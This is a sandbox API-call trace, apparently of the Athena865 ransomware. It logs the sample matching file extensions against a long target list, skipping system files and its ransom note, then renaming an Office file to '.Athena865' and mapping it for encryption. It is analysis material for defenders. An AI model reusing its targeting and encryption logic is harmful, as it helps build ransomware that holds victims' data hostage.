(lpString1="-ms", lpString2="lgc") returned 1 [0062.295] lstrlenW (lpString="lwx") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0062.295] lstrlenW (lpString="maf") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0062.295] lstrlenW (lpString="maq") returned 3 [0062.295] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0062.296] lstrlenW (lpString="mar") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0062.296] lstrlenW (lpString="marshal") returned 7 [0062.296] lstrcmpiW (lpString1=".xrm-ms", lpString2="marshal") returned -1 [0062.296] lstrlenW (lpString="mas") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0062.296] lstrlenW (lpString="mav") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0062.296] lstrlenW (lpString="maw") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0062.296] lstrlenW (lpString="mdbhtml") returned 7 [0062.296] lstrcmpiW (lpString1=".xrm-ms", lpString2="mdbhtml") returned -1 [0062.296] lstrlenW (lpString="mdn") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0062.296] lstrlenW (lpString="mdt") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0062.296] lstrlenW (lpString="mfd") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0062.296] lstrlenW (lpString="mpd") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0062.296] lstrlenW (lpString="mrg") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0062.296] lstrlenW (lpString="mud") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0062.296] lstrlenW (lpString="mwb") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0062.296] lstrlenW (lpString="myd") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0062.296] lstrlenW (lpString="ndf") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0062.296] lstrlenW (lpString="nnt") returned 3 [0062.296] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0062.296] lstrlenW (lpString="nrmlib") returned 6 [0062.296] lstrcmpiW (lpString1="xrm-ms", lpString2="nrmlib") returned 1 [0062.297] lstrlenW (lpString="ns2") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0062.297] lstrlenW (lpString="ns3") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0062.297] lstrlenW (lpString="ns4") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0062.297] lstrlenW (lpString="nsf") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0062.297] lstrlenW (lpString="nv") returned 2 [0062.297] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0062.297] lstrlenW (lpString="nv2") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0062.297] lstrlenW (lpString="nwdb") returned 4 [0062.297] lstrcmpiW (lpString1="m-ms", lpString2="nwdb") returned -1 [0062.297] lstrlenW (lpString="nyf") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0062.297] lstrlenW (lpString="odb") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0062.297] lstrlenW (lpString="odb") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0062.297] lstrlenW (lpString="oqy") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0062.297] lstrlenW (lpString="ora") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0062.297] lstrlenW (lpString="orx") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0062.297] lstrlenW (lpString="owc") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0062.297] lstrlenW (lpString="p96") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0062.297] lstrlenW (lpString="p97") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0062.297] lstrlenW (lpString="pan") returned 3 [0062.297] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0062.298] lstrlenW (lpString="pdb") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0062.298] lstrlenW (lpString="pdm") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0062.298] lstrlenW (lpString="pnz") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0062.298] lstrlenW (lpString="qry") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0062.298] lstrlenW (lpString="qvd") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0062.298] lstrlenW (lpString="rbf") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0062.298] lstrlenW (lpString="rctd") returned 4 [0062.298] lstrcmpiW (lpString1="m-ms", lpString2="rctd") returned -1 [0062.298] lstrlenW (lpString="rod") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0062.298] lstrlenW (lpString="rodx") returned 4 [0062.298] lstrcmpiW (lpString1="m-ms", lpString2="rodx") returned -1 [0062.298] lstrlenW (lpString="rpd") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0062.298] lstrlenW (lpString="rsd") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0062.298] lstrlenW (lpString="sas7bdat") returned 8 [0062.298] lstrcmpiW (lpString1="e.xrm-ms", lpString2="sas7bdat") returned -1 [0062.298] lstrlenW (lpString="sbf") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0062.298] lstrlenW (lpString="scx") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0062.298] lstrlenW (lpString="sdb") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0062.298] lstrlenW (lpString="sdc") returned 3 [0062.298] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0062.298] lstrlenW (lpString="sdf") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0062.299] lstrlenW (lpString="sis") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0062.299] lstrlenW (lpString="spq") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0062.299] lstrlenW (lpString="te") returned 2 [0062.299] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0062.299] lstrlenW (lpString="teacher") returned 7 [0062.299] lstrcmpiW (lpString1=".xrm-ms", lpString2="teacher") returned -1 [0062.299] lstrlenW (lpString="tmd") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0062.299] lstrlenW (lpString="tps") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0062.299] lstrlenW (lpString="trc") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0062.299] lstrlenW (lpString="trc") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0062.299] lstrlenW (lpString="trm") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0062.299] lstrlenW (lpString="udb") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0062.299] lstrlenW (lpString="udl") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0062.299] lstrlenW (lpString="usr") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0062.299] lstrlenW (lpString="v12") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0062.299] lstrlenW (lpString="vis") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0062.299] lstrlenW (lpString="vpd") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0062.299] lstrlenW (lpString="vvv") returned 3 [0062.299] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0062.299] lstrlenW (lpString="wdb") returned 3 [0062.300] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0062.300] lstrlenW (lpString="wmdb") returned 4 [0062.300] lstrcmpiW (lpString1="m-ms", lpString2="wmdb") returned -1 [0062.300] lstrlenW (lpString="wrk") returned 3 [0062.300] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0062.300] lstrlenW (lpString="xdb") returned 3 [0062.300] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0062.300] lstrlenW (lpString="xld") returned 3 [0062.300] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0062.300] lstrlenW (lpString="xmlff") returned 5 [0062.300] lstrcmpiW (lpString1="rm-ms", lpString2="xmlff") returned -1 [0062.300] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865") returned 97 [0062.300] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.athena865"), dwFlags=0x1) returned 1 [0062.306] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.306] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=715834) returned 1 [0062.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.307] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.307] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.307] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaef40, lpName=0x0) returned 0x17c [0062.309] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaef40) returned 0x2d50000 [0062.349] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.350] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.350] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.350] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.351] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0062.358] CloseHandle (hObject=0x17c) returned 1 [0062.358] CloseHandle (hObject=0x154) returned 1 [0062.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.361] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="..") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="windows") returned -1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="bootmgr") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="temp") returned -1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="pagefile.sys") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="boot") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="ids.txt") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="ntuser.dat") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="perflogs") returned 1 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2="MSBuild") returned 1 [0062.361] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0062.361] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PrjProrWW.msi" | out: lpString1="PrjProrWW.msi") returned="PrjProrWW.msi" [0062.361] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0062.361] lstrlenW (lpString="Athena865") returned 9 [0062.361] lstrcmpiW (lpString1="rorWW.msi", lpString2="Athena865") returned 1 [0062.361] lstrlenW (lpString=".dll") returned 4 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".dll") returned 1 [0062.361] lstrlenW (lpString=".lnk") returned 4 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".lnk") returned 1 [0062.361] lstrlenW (lpString=".ini") returned 4 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".ini") returned 1 [0062.361] lstrlenW (lpString=".sys") returned 4 [0062.361] lstrcmpiW (lpString1="PrjProrWW.msi", lpString2=".sys") returned 1 [0062.361] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0062.361] lstrlenW (lpString="bak") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0062.362] lstrlenW (lpString="ba_") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0062.362] lstrlenW (lpString="dbb") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0062.362] lstrlenW (lpString="vmdk") returned 4 [0062.362] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0062.362] lstrlenW (lpString="rar") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0062.362] lstrlenW (lpString="zip") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0062.362] lstrlenW (lpString="tgz") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0062.362] lstrlenW (lpString="vbox") returned 4 [0062.362] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0062.362] lstrlenW (lpString="vdi") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0062.362] lstrlenW (lpString="vhd") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0062.362] lstrlenW (lpString="vhdx") returned 4 [0062.362] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0062.362] lstrlenW (lpString="avhd") returned 4 [0062.362] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0062.362] lstrlenW (lpString="db") returned 2 [0062.362] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0062.362] lstrlenW (lpString="db2") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0062.362] lstrlenW (lpString="db3") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0062.362] lstrlenW (lpString="dbf") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0062.362] lstrlenW (lpString="mdf") returned 3 [0062.362] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0062.362] lstrlenW (lpString="mdb") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0062.363] lstrlenW (lpString="sql") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0062.363] lstrlenW (lpString="sqlite") returned 6 [0062.363] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1 [0062.363] lstrlenW (lpString="sqlite3") returned 7 [0062.363] lstrcmpiW (lpString1="rWW.msi", lpString2="sqlite3") returned -1 [0062.363] lstrlenW (lpString="sqlitedb") returned 8 [0062.363] lstrcmpiW (lpString1="orWW.msi", lpString2="sqlitedb") returned -1 [0062.363] lstrlenW (lpString="xml") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0062.363] lstrlenW (lpString="$er") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0062.363] lstrlenW (lpString="4dd") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0062.363] lstrlenW (lpString="4dl") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0062.363] lstrlenW (lpString="^^^") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0062.363] lstrlenW (lpString="abs") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0062.363] lstrlenW (lpString="abx") returned 3 [0062.363] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0062.363] lstrlenW (lpString="accdb") returned 5 [0062.363] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1 [0062.363] lstrlenW (lpString="accdc") returned 5 [0062.363] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1 [0062.363] lstrlenW (lpString="accde") returned 5 [0062.363] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 1 [0062.363] lstrlenW (lpString="accdr") returned 5 [0062.363] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1 [0062.363] lstrlenW (lpString="accdt") returned 5 [0062.363] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1 [0062.363] lstrlenW (lpString="accdw") returned 5 [0062.363] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1 [0062.364] lstrlenW (lpString="accft") returned 5 [0062.364] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1 [0062.364] lstrlenW (lpString="adb") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0062.364] lstrlenW (lpString="adb") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0062.364] lstrlenW (lpString="ade") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0062.364] lstrlenW (lpString="adf") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0062.364] lstrlenW (lpString="adn") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0062.364] lstrlenW (lpString="adp") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0062.364] lstrlenW (lpString="alf") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0062.364] lstrlenW (lpString="ask") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0062.364] lstrlenW (lpString="btr") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0062.364] lstrlenW (lpString="cat") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0062.364] lstrlenW (lpString="cdb") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0062.364] lstrlenW (lpString="ckp") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0062.364] lstrlenW (lpString="cma") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0062.364] lstrlenW (lpString="cpd") returned 3 [0062.364] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0062.364] lstrlenW (lpString="dacpac") returned 6 [0062.364] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1 [0062.364] lstrlenW (lpString="dad") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0062.365] lstrlenW (lpString="dadiagrams") returned 10 [0062.365] lstrcmpiW (lpString1="ProrWW.msi", lpString2="dadiagrams") returned 1 [0062.365] lstrlenW (lpString="daschema") returned 8 [0062.365] lstrcmpiW (lpString1="orWW.msi", lpString2="daschema") returned 1 [0062.365] lstrlenW (lpString="db-journal") returned 10 [0062.365] lstrcmpiW (lpString1="ProrWW.msi", lpString2="db-journal") returned 1 [0062.365] lstrlenW (lpString="db-shm") returned 6 [0062.365] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1 [0062.365] lstrlenW (lpString="db-wal") returned 6 [0062.365] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1 [0062.365] lstrlenW (lpString="dbc") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0062.365] lstrlenW (lpString="dbs") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0062.365] lstrlenW (lpString="dbt") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0062.365] lstrlenW (lpString="dbv") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0062.365] lstrlenW (lpString="dbx") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0062.365] lstrlenW (lpString="dcb") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0062.365] lstrlenW (lpString="dct") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0062.365] lstrlenW (lpString="dcx") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0062.365] lstrlenW (lpString="ddl") returned 3 [0062.365] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0062.365] lstrlenW (lpString="dlis") returned 4 [0062.365] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0062.365] lstrlenW (lpString="dp1") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0062.366] lstrlenW (lpString="dqy") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0062.366] lstrlenW (lpString="dsk") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0062.366] lstrlenW (lpString="dsn") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0062.366] lstrlenW (lpString="dtsx") returned 4 [0062.366] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0062.366] lstrlenW (lpString="dxl") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0062.366] lstrlenW (lpString="eco") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0062.366] lstrlenW (lpString="ecx") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0062.366] lstrlenW (lpString="edb") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0062.366] lstrlenW (lpString="epim") returned 4 [0062.366] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0062.366] lstrlenW (lpString="fcd") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0062.366] lstrlenW (lpString="fdb") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0062.366] lstrlenW (lpString="fic") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0062.366] lstrlenW (lpString="flexolibrary") returned 12 [0062.366] lstrcmpiW (lpString1="rjProrWW.msi", lpString2="flexolibrary") returned 1 [0062.366] lstrlenW (lpString="fm5") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0062.366] lstrlenW (lpString="fmp") returned 3 [0062.366] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0062.366] lstrlenW (lpString="fmp12") returned 5 [0062.366] lstrcmpiW (lpString1="W.msi", lpString2="fmp12") returned 1 [0062.366] lstrlenW (lpString="fmpsl") returned 5 [0062.367] lstrcmpiW (lpString1="W.msi", lpString2="fmpsl") returned 1 [0062.367] lstrlenW (lpString="fol") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0062.367] lstrlenW (lpString="fp3") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0062.367] lstrlenW (lpString="fp4") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0062.367] lstrlenW (lpString="fp5") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0062.367] lstrlenW (lpString="fp7") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0062.367] lstrlenW (lpString="fpt") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0062.367] lstrlenW (lpString="frm") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0062.367] lstrlenW (lpString="gdb") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0062.367] lstrlenW (lpString="gdb") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0062.367] lstrlenW (lpString="grdb") returned 4 [0062.367] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0062.367] lstrlenW (lpString="gwi") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0062.367] lstrlenW (lpString="hdb") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0062.367] lstrlenW (lpString="his") returned 3 [0062.367] lstrcmpiW (lpString1="msi", lpString2="his") returned 